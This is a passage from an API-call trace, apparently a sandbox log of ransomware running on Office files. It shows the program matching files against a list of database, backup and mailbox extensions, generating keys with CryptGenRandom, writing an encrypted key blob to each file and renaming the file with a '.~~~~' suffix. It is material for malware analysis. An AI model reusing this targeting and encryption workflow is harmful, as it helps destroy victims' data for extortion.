	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.557] lstrlenW (lpString=".dtxs") returned 5
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.557] lstrlenW (lpString=".db3") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.557] lstrlenW (lpString=".OST") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.557] lstrlenW (lpString=".dbx") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.557] lstrlenW (lpString=".DB3") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.557] lstrlenW (lpString=".DAT") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.557] lstrlenW (lpString=".VHDX") returned 5
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.558] lstrlenW (lpString=".ndf") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.558] lstrlenW (lpString=".DB") returned 3
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.558] lstrlenW (lpString=".sql") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.558] lstrlenW (lpString=".MYD") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.558] lstrlenW (lpString=".DBT") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.558] lstrlenW (lpString=".ACCDB") returned 6
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.558] lstrlenW (lpString=".fdb") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.558] lstrlenW (lpString=".bak") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.558] lstrlenW (lpString=".myd") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.558] lstrlenW (lpString=".DTXS") returned 5
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.558] lstrlenW (lpString=".ckp") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.558] lstrlenW (lpString=".dbt") returned 4
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.558] lstrlenW (lpString=".db") returned 3
	[0136.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".db") returned 0x0
	[0136.559] lstrlenW (lpString=".TXT") returned 4
	[0136.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.559] lstrlenW (lpString=".MDF") returned 4
	[0136.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.559] lstrlenW (lpString=".bdb") returned 4
	[0136.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.559] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.559] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29085c0) returned 1
	[0136.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.560] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0136.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0136.561] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25655069305) returned 1
	[0136.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbad72530, dwHighDateTime=0x1d60e1e)) 
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28254a8
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28254a8 | out: hHeap=0x300000) returned 1
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5968
	[0136.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.562] GetLastError () returned 0x0
	[0136.562] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.562] GetLastError () returned 0x0
	[0136.563] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.564] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0136.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.565] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.565] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.565] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.565] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.565] CloseHandle (hObject=0x140) returned 1
	[0136.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.565] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.~~~~")) returned 1
	[0136.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.568] GetLastError () returned 0x0
	[0136.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".scr") returned 0x0
	[0136.568] lstrlenW (lpString=".cmd") returned 4
	[0136.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".cmd") returned 0x0
	[0136.569] lstrlenW (lpString=".dll") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dll") returned 0x0
	[0136.569] lstrlenW (lpString=".bat") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".bat") returned 0x0
	[0136.569] lstrlenW (lpString=".cpl") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".cpl") returned 0x0
	[0136.569] lstrlenW (lpString=".sys") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".sys") returned 0x0
	[0136.569] lstrlenW (lpString=".msc") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".msc") returned 0x0
	[0136.569] lstrlenW (lpString=".com") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".com") returned 0x0
	[0136.569] lstrlenW (lpString=".lnk") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".lnk") returned 0x0
	[0136.569] lstrlenW (lpString=".msp") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".msp") returned 0x0
	[0136.569] lstrlenW (lpString=".pif") returned 4
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".pif") returned 0x0
	[0136.569] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch="msp\r\n.pif") returned 0x0
	[0136.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0136.571] lstrlenW (lpString=".sqb") returned 4
	[0136.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".sqb") returned 0x0
	[0136.571] lstrlenW (lpString=".ost") returned 4
	[0136.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".ost") returned 0x0
	[0136.571] lstrlenW (lpString=".txt") returned 4
	[0136.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".txt") returned 0x0
	[0136.571] lstrlenW (lpString=".mdt") returned 4
	[0136.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".mdt") returned 0x0
	[0136.571] lstrlenW (lpString=".BDB") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".BDB") returned 0x0
	[0136.572] lstrlenW (lpString=".eql") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".eql") returned 0x0
	[0136.572] lstrlenW (lpString=".DBF") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DBF") returned 0x0
	[0136.572] lstrlenW (lpString=".EQL") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".EQL") returned 0x0
	[0136.572] lstrlenW (lpString=".FDB") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".FDB") returned 0x0
	[0136.572] lstrlenW (lpString=".EDB") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".EDB") returned 0x0
	[0136.572] lstrlenW (lpString=".DACPAC") returned 7
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DACPAC") returned 0x0
	[0136.572] lstrlenW (lpString=".VHD") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".VHD") returned 0x0
	[0136.572] lstrlenW (lpString=".DBV") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DBV") returned 0x0
	[0136.572] lstrlenW (lpString=".dacpac") returned 7
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dacpac") returned 0x0
	[0136.572] lstrlenW (lpString=".sdf") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".sdf") returned 0x0
	[0136.572] lstrlenW (lpString=".accdb") returned 6
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".accdb") returned 0x0
	[0136.572] lstrlenW (lpString=".DBX") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DBX") returned 0x0
	[0136.572] lstrlenW (lpString=".MDT") returned 4
	[0136.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".MDT") returned 0x0
	[0136.572] lstrlenW (lpString=".SQB") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".SQB") returned 0x0
	[0136.573] lstrlenW (lpString=".vhd") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".vhd") returned 0x0
	[0136.573] lstrlenW (lpString=".bac") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".bac") returned 0x0
	[0136.573] lstrlenW (lpString=".mdf") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".mdf") returned 0x0
	[0136.573] lstrlenW (lpString=".BAK") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".BAK") returned 0x0
	[0136.573] lstrlenW (lpString=".BAC") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".BAC") returned 0x0
	[0136.573] lstrlenW (lpString=".dbs") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dbs") returned 0x0
	[0136.573] lstrlenW (lpString=".vhdx") returned 5
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".vhdx") returned 0x0
	[0136.573] lstrlenW (lpString=".NDF") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".NDF") returned 0x0
	[0136.573] lstrlenW (lpString=".dat") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dat") returned 0x0
	[0136.573] lstrlenW (lpString=".DBS") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DBS") returned 0x0
	[0136.573] lstrlenW (lpString=".CKP") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".CKP") returned 0x0
	[0136.573] lstrlenW (lpString=".edb") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".edb") returned 0x0
	[0136.573] lstrlenW (lpString=".PST") returned 4
	[0136.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".PST") returned 0x0
	[0136.574] lstrlenW (lpString=".dbf") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dbf") returned 0x0
	[0136.574] lstrlenW (lpString=".SQL") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".SQL") returned 0x0
	[0136.574] lstrlenW (lpString=".pst") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".pst") returned 0x0
	[0136.574] lstrlenW (lpString=".dbv") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dbv") returned 0x0
	[0136.574] lstrlenW (lpString=".SDF") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".SDF") returned 0x0
	[0136.574] lstrlenW (lpString=".dtxs") returned 5
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dtxs") returned 0x0
	[0136.574] lstrlenW (lpString=".db3") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".db3") returned 0x0
	[0136.574] lstrlenW (lpString=".OST") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".OST") returned 0x0
	[0136.574] lstrlenW (lpString=".dbx") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dbx") returned 0x0
	[0136.574] lstrlenW (lpString=".DB3") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DB3") returned 0x0
	[0136.574] lstrlenW (lpString=".DAT") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DAT") returned 0x0
	[0136.574] lstrlenW (lpString=".VHDX") returned 5
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".VHDX") returned 0x0
	[0136.574] lstrlenW (lpString=".ndf") returned 4
	[0136.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".ndf") returned 0x0
	[0136.574] lstrlenW (lpString=".DB") returned 3
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DB") returned 0x0
	[0136.575] lstrlenW (lpString=".sql") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".sql") returned 0x0
	[0136.575] lstrlenW (lpString=".MYD") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".MYD") returned 0x0
	[0136.575] lstrlenW (lpString=".DBT") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DBT") returned 0x0
	[0136.575] lstrlenW (lpString=".ACCDB") returned 6
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".ACCDB") returned 0x0
	[0136.575] lstrlenW (lpString=".fdb") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".fdb") returned 0x0
	[0136.575] lstrlenW (lpString=".bak") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".bak") returned 0x0
	[0136.575] lstrlenW (lpString=".myd") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".myd") returned 0x0
	[0136.575] lstrlenW (lpString=".DTXS") returned 5
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".DTXS") returned 0x0
	[0136.575] lstrlenW (lpString=".ckp") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".ckp") returned 0x0
	[0136.575] lstrlenW (lpString=".dbt") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".dbt") returned 0x0
	[0136.575] lstrlenW (lpString=".db") returned 3
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".db") returned 0x0
	[0136.575] lstrlenW (lpString=".TXT") returned 4
	[0136.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".TXT") returned 0x0
	[0136.575] lstrlenW (lpString=".MDF") returned 4
	[0136.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".MDF") returned 0x0
	[0136.576] lstrlenW (lpString=".bdb") returned 4
	[0136.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".bdb") returned 0x0
	[0136.576] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.576] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394a80) returned 1
	[0136.577] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.577] CryptReleaseContext (hProv=0x394a80, dwFlags=0x0) returned 1
	[0136.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
